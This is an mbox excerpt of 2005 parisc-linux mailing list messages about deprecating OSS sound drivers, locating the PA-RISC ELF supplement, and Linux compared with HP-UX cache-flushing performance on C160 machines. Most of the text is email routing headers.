	by free.linux.hp.com (Postfix) with ESMTP id D7BED7D6A9;
	Tue,  9 Aug 2005 11:49:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17975-04; Tue, 9 Aug 2005 11:49:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99D287D69C;
	Tue,  9 Aug 2005 11:49:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 048D57D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Aug 2005 11:49:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17632-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 Aug 2005 11:49:12 -0600 (MDT)
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by free.linux.hp.com (Postfix) with SMTP id 02E8A7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Aug 2005 11:49:11 -0600 (MDT)
Original-Received: (qmail 17175 invoked from network); 9 Aug 2005 17:49:09 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailout.stusta.mhn.de with SMTP; 9 Aug 2005 17:49:09 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id D12251CE3D9; Tue,  9 Aug 2005 19:49:06 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1123607633.5601.7.camel@mindpipe>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 94mKYoFOeSEkX76WZHQhaXN1IGRvbwCE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23118

On Tue, Aug 09, 2005 at 01:13:51PM -0400, Lee Revell wrote:
> On Fri, 2005-07-29 at 17:32 +0200, Adrian Bunk wrote:
> > This patch schedules obsolete OSS drivers (with ALSA drivers that 
> > support the same hardware) for removal.
> > 
> > Scheduling the via82cxxx driver for removal was ACK'ed by Jeff Garzik.
> > 
> 
> Someone on linux-audio-user just pointed out that the OSS USB audio and
> midi modules were never deprecated, much less scheduled to be removed.
> 
> Maybe the best way to deprecate them is to move them to Sound -> OSS,
> that's where they belong anyway.

I'd deprecate them without moving them.

I'll send a patch unless someone tells that any functionality of these 
drivers is lacking in ALSA.

> Lee

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Revell <rlrevell@joe-job.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] schedule obsolete OSS drivers for
	removal (version 2)
Date: Tue, 09 Aug 2005 13:54:48 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <1123610089.8210.7.camel__8434.74077196351$1416623911$gmane$org@mindpipe>
References: <20050729153226.GE3563@stusta.de>
	<1123607633.5601.7.camel@mindpipe>  <20050809174906.GA4006@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623911 16547 80.91.229.3 (22 Nov 2014 02:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:31 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 alsa-devel@alsa-project.org,
 zab@zabbo.net,
 Christoph Eckert <ce@christeck.de>,
 zaitcev@yahoo.com,
 kyle@parisc-linux.org,
 James@superbug.demon.co.uk,
 gregkh@suse.de,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 sailer@ife.ee.ethz.ch,
 parisc-linux@lists.parisc-linux.org,
 perex@suse.cz,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 NAGANO Daisuke <breeze.nagano@nifty.ne.jp>,
 jgarzik@pobox.com,
 linux-usb-devel@lists.sourceforge.net
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2005 17:55:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 09 Aug 2005 19:55:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A9027D6C5;
	Tue,  9 Aug 2005 11:54:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18026-09; Tue, 9 Aug 2005 11:54:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60D9F7D6B9;
	Tue,  9 Aug 2005 11:54:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 840E57D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Aug 2005 11:54:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18026-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 Aug 2005 11:54:52 -0600 (MDT)
Original-Received: from mustang.oldcity.dca.net (mustang.oldcity.dca.net [216.158.38.3])
	by free.linux.hp.com (Postfix) with SMTP id B9F417D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Aug 2005 11:54:51 -0600 (MDT)
Original-Received: (qmail 25490 invoked from network); 9 Aug 2005 17:54:50 -0000
Original-Received: from unknown (HELO ?192.168.1.47?) (70.20.190.216)
	by mustang with SMTP; 9 Aug 2005 17:54:50 -0000
In-Reply-To: <20050809174906.GA4006@stusta.de>
X-Mailer: Evolution 2.3.6.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oYiKYroYeSEkfr6WZHQhaXN1IGRvb4DI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23119

On Tue, 2005-08-09 at 19:49 +0200, Adrian Bunk wrote:
> I'd deprecate them without moving them.
> 

OK, I think that will still be slightly confusing becuase it comes
before Sound in the kernel config, but maybe the deprecated part will
make people think twice.

I think we should at least label these clearly as part of OSS.  Users at
least seem to know that mixing OSS and ALSA modules is bad.

> I'll send a patch unless someone tells that any functionality of these
> drivers is lacking in ALSA. 

OK.  I'm almost positive there is no functionality missing, there have
not been any reports of people needing to use the OSS driver on any of
the ALSA lists.

Lee 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processor-Specific ELF Supplement for PA-RISC
Date: Sun, 7 Aug 2005 18:12:05 -0400
Organization: wh0rd.org
Lines: 16
Approved: news@gmane.org
Message-ID: <200508071812.05787.vapier@gentoo.org>
References: <200508071833.j77IX5ZO028505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623911 16550 80.91.229.3 (22 Nov 2014 02:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:31 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Aug 2005 22:12:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 08 Aug 2005 00:12:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D06587D698;
	Sun,  7 Aug 2005 16:12:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32591-06; Sun, 7 Aug 2005 16:12:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 373337D699;
	Sun,  7 Aug 2005 16:12:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 846D07D697
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 16:12:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32359-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 16:12:00 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 00E777D696
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 16:11:59 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1E1tN8-0007lc-Tr
	for parisc-linux@lists.parisc-linux.org; Sun, 07 Aug 2005 22:11:59 +0000
Original-Received: (qmail 25724 invoked from network); 7 Aug 2005 19:09:16 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 7 Aug 2005 19:09:16 -0400
User-Agent: KMail/1.8.2
In-Reply-To: <200508071833.j77IX5ZO028505@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: beKEYpEceSEkYb6WZHQhaXN1IGRvb4Dl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23120

On Sunday 07 August 2005 02:33 pm, John David Anglin wrote:
> I noticed recently that HP has updated various defines for ELF under
> HP-UX which are not documented in the ELF supplement.  I was wondering
> if the supplement has been updated.  The last version that I can find
> is version 1.5, August 20, 1998.  Some of these updates might also be
> applicable to ia64.

hrm, i only have version 1.43 from October 6, 1997 ... can i get a copy of 
your updated version and/or a URL for it ? :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processor-Specific ELF Supplement for PA-RISC
Date: Sun, 7 Aug 2005 18:31:37 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200508072231.j77MVbrW029457@hiauly1.hia.nrc.ca>
References: <200508071812.05787.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623911 16552 80.91.229.3 (22 Nov 2014 02:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Aug 2005 22:31:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 08 Aug 2005 00:31:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AC407D6A8;
	Sun,  7 Aug 2005 16:31:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00417-07; Sun, 7 Aug 2005 16:31:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 981F17D6A9;
	Sun,  7 Aug 2005 16:31:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EB627D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 16:31:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00474-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 16:31:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 91D417D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 16:31:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j77MVcnV029458; Sun, 7 Aug 2005 18:31:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j77MVbrW029457;
	Sun, 7 Aug 2005 18:31:37 -0400 (EDT)
In-Reply-To: <200508071812.05787.vapier@gentoo.org> from "Mike Frysinger" at
	Aug 7, 2005 06:12:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ge6EYh8CeSEkRb6WZHQhaXN1IGRvbwC9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23121

> hrm, i only have version 1.43 from October 6, 1997 ... can i get a copy of 
> your updated version and/or a URL for it ? :)

There doesn't seem to be a link to it on the www.parisc-linux.org
site but it's here <http://ftp.parisc-linux.org/docs/arch/elf-pa-hp.pdf>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Sat, 20 Aug 2005 00:21:35 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20050820062135.GA28839@colo.lackof.org>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org>
	<430384FE.6080105@excelcia.org> <20050817194058.GA3378@netfall.com>
	<43041C3C.2080704@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623912 16555 80.91.229.3 (22 Nov 2014 02:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Aug 2005 06:16:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 20 Aug 2005 08:16:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01F947D79C;
	Sat, 20 Aug 2005 00:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11079-04; Sat, 20 Aug 2005 00:16:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 270117D798;
	Sat, 20 Aug 2005 00:16:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 870747D796
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:16:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10752-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:16:05 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EAF087D794
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:16:04 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4498D36006D;
	Sat, 20 Aug 2005 00:21:37 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29850-09; Sat, 20 Aug 2005 00:21:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D3CFB36006C; Sat, 20 Aug 2005 00:21:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <43041C3C.2080704@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5690YyE8eSEker6WZHQhaXN1IGRvbwC/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23122

On Wed, Aug 17, 2005 at 11:27:24PM -0600, Kurt Fitzner wrote:
...
> Next off, for nbench running on a C160/HPUX I see a memory throughput
> increase of 2.67X, integer calc increase of 1.4X, and floating point
> increase of 2.24X when compared to the C160/Linux.
...
> The performance issue on my C160/Linux was not due cache line
> loading/thrashing.
...
> What really locked it in for me that it's an OS issue,
...

It clearly is an OS issue. And thinking about it more,
I'm convinced this benchmark is exposing a cache utilization
(or lack thereof) issue. HPUX is very efficient at
NOT flushing the cache. Linux flushes alot more.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Sat, 20 Aug 2005 00:26:35 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20050820062635.GB28839@colo.lackof.org>
References: <ILESU1$F6D40EC654A84E56AFFAC27CDCE1FD84@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623912 16557 80.91.229.3 (22 Nov 2014 02:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:32 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Aug 2005 06:21:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 20 Aug 2005 08:21:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 078D87D7A5;
	Sat, 20 Aug 2005 00:21:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11479-01; Sat, 20 Aug 2005 00:21:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4E457D7A0;
	Sat, 20 Aug 2005 00:21:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 358D17D79C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:21:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11372-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:21:04 -0600 (MDT)
